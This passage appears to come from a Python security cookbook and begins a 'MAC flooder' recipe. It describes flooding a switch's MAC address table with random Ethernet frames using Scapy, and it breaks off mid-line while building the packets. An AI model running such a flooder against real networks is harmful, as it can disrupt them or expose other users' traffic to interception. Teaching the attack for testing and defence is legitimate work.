We can fill the MAC address store of a router by sending random Ethernet traffic over the network. This may lead to the malfunction of the switch, and may start sending all the network traffic to everyone connected to the router, or it may fail.
MAC flooder
How to do it...
Here are the steps to flood MAC address store in a router:
- Create a mac-flooder.py file and open in your editor.
- Import the required modules:
import sys from scapy.all import *
- Define the interface to flood. We could also get it from the arguments:
interface = "en0"
- Create the packets with random MAC IDs and random IPs:
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \ IP(src=RandIP("...